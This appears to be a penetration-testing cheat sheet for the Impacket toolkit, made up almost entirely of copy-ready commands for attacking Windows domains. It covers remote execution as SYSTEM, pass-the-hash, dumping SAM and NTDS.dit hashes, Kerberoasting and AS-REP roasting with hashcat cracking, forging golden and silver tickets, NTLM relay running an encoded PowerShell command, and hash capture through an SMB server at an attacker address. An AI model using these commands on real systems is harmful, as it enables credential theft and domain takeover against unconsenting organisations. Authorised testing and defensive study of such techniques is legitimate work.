Impacket is a collection of Python classes for working with network protocols, focused on Windows and Active Directory. Every tool in the suite is indispensable for Windows pentesting.
Installation pip install impacket git clone https://github.com/fortra/impacket && cd impacket && pip install . impacket-psexec --help
All Impacket tools accept multiple auth formats:
domain/user:password@target user:password@target domain/user@target -hashes LM:NT domain/user@target -hashes :NT_HASH domain/user@target -k -no-pass domain/user@target -aesKey AES128_OR_AES256_KEY -k
psexec Creates a service on the target for execution. Leaves artifacts but provides SYSTEM:
impacket-psexec domain/Administrator:password@192.168.1.100 impacket-psexec domain/Administrator@192.168.1.100 -hashes :NT_HASH impacket-psexec domain/Administrator@192.168.1.100 -k -no-pass impacket-psexec domain/user:pass@target "cmd.exe /c whoami"
wmiexec Uses WMI — less noisy, no service created, runs as the authenticated user:
impacket-wmiexec domain/user:password@192.168.1.100 impacket-wmiexec domain/user@192.168.1.100 -hashes :NT_HASH impacket-wmiexec domain/user:pass@target "whoami"
smbexec Creates a service for each command. Noisier than wmiexec:
impacket-smbexec domain/user:password@target impacket-smbexec domain/user@target -hashes :NT_HASH
atexec Executes via the Task Scheduler:
impacket-atexec domain/user:password@target whoami
dcomexec Uses DCOM (Distributed COM) for execution:
impacket-dcomexec domain/user:password@target
Credential Dumping secretsdump Dumps SAM, LSA secrets, NTDS.dit hashes, domain cached credentials:
impacket-secretsdump domain/Administrator:password@DC_IP impacket-secretsdump domain/Administrator@DC_IP -hashes :NT_HASH impacket-secretsdump domain.local/Administrator:password@DC_IP -just-dc impacket-secretsdump local -sam SAM -system SYSTEM -security SECURITY impacket-secretsdump domain/Administrator:pass@DC -just-dc-ntlm impacket-secretsdump domain/Administrator:pass@DC -just-dc-user krbtgt
Kerberos Attacks GetUserSPNs — Kerberoasting impacket-GetUserSPNs domain.local/user:password -dc-ip DC_IP impacket-GetUserSPNs domain.local/user:password -dc-ip DC_IP -request impacket-GetUserSPNs domain.local/user:password -dc-ip DC_IP -request -outputfile kerberoast.txt hashcat -a 0 -m 13100 kerberoast.txt rockyou.txt
GetNPUsers — AS-REP Roasting impacket-GetNPUsers domain.local/ -dc-ip DC_IP -no-pass -usersfile users.txt impacket-GetNPUsers domain.local/user:password -dc-ip DC_IP -request impacket-GetNPUsers domain.local/ -dc-ip DC_IP -no-pass -usersfile users.txt -format hashcat -outputfile asreproast.txt hashcat -a 0 -m 18200 asreproast.txt rockyou.txt
Ticket Operations ticketer — Golden/Silver Ticket impacket-ticketer -nthash KRBTGT_HASH \ -domain-sid S-1-5-21-XXXX \ -domain domain.local \ Administratorexport KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass domain.local/Administrator@DC_FQDN impacket-ticketer -nthash SERVICE_HASH \ -domain-sid S-1-5-21-XXXX \ -domain domain.local \ -spn CIFS/server.domain.local \ Administrator
getPac — Get PAC (Privilege Attribute Certificate) impacket-getPac domain.local/user:password -targetUser Administrator
Network Services smbserver — Serve Files / Capture Hashes impacket-smbserver share /path/to/files -smb2support impacket-smbserver share /tmp -username attacker -password password -smb2support \\ATTACKER_IP\share hashcat -a 0 -m 5600 netntlmv2_hashes.txt rockyou.txt
ntlmrelayx — NTLM Relay Attacks impacket-ntlmrelayx -tf targets.txt -smb2support impacket-ntlmrelayx -t smb://TARGET_IP -smb2support -i impacket-ntlmrelayx -t smb://TARGET_IP -smb2support -c "powershell -enc BASE64_CMD" impacket-ntlmrelayx -t ldap://DC_IP --delegate-access impacket-ntlmrelayx -t smb://TARGET -smb2support
dnschef — DNS Proxy impacket-dnschef --fakeip ATTACKER_IP --fakedomains target.com
GetADUsers impacket-GetADUsers domain.local/user:password -dc-ip DC_IP -all impacket-GetADUsers domain.local/user:password -dc-ip DC_IP | grep -i admin
ldapdomaindump pip install ldapdomaindump ldapdomaindump -u "domain\user" -p password DC_IP -o /tmp/ldap_dump/
SMB Enumeration samrdump impacket-samrdump domain/user:password@target
lookupsid — Enumerate SIDs impacket-lookupsid domain/user:password@DC_IP impacket-lookupsid domain/user:password@DC_IP 20
Quick Reference Table
Tool
Purpose
Auth needed
psexec
Remote shell (SYSTEM)
Admin
wmiexec
Remote shell (user context)
Admin
secretsdump
Dump hashes
Admin
GetUserSPNs
Kerberoasting
Any domain user
GetNPUsers
AS-REP roasting
None (or any user)
ticketer
Forge Kerberos tickets
krbtgt hash (golden)
ntlmrelayx
NTLM relay attacks
None (captures)
smbserver
Host files / capture hashes
None
No comments yet. Be the first.